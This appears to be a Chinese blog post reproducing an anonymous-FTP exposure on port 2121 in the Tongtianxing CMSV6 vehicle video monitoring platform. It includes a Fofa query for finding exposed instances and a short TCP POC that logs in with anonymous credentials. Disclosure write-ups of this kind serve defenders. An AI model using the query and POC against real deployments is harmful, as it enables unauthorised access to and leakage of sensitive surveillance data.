【漏洞复现】通天星CMSV6车载监控平台FTP匿名访问漏洞

150 篇文章

已下架不支持订阅

通天星CMSV6是一款专注为车载定位设备提供服务的监控平台,存在默认开启FTP服务且未关闭的问题,可能导致敏感信息泄露。通过Fofa-Query `web.body="/808gps/"`可搜索到受影响的实例。漏洞复现显示,该漏洞主要涉及车载录像机等产品,复现过程中发现可以进行FTP匿名访问。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞描述:

通天星CMSV6车载定位监控平台拥有以位置服务、无线3G/4G视频传输、云存储服务为核心的研发团队,专注于为定位、无线视频终端产品提供平台服务,通天星CMSV6产品覆盖车载录像机、单兵录像机、网络监控摄像机、行驶记录仪等产品的视频综合平台。

通天星CMSV6车载视频监控平台安装完毕后会默认开放2121端口作为ftp服务使用,管理员疏忽未进行关闭可能造成敏感信息泄露等问题。

搜索语法:

Fofa-Query: web.body="/808gps/"

漏洞详情:

1.通天星CMSV6车载视频监控平台。

2.漏洞POC:

tcp:
  - inputs:
      - data: "USER anonymous\r\n"
        read: 1024
      - data: "PASS anonymous\r\n"
        read: 1024

    host:

已下架不支持订阅

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值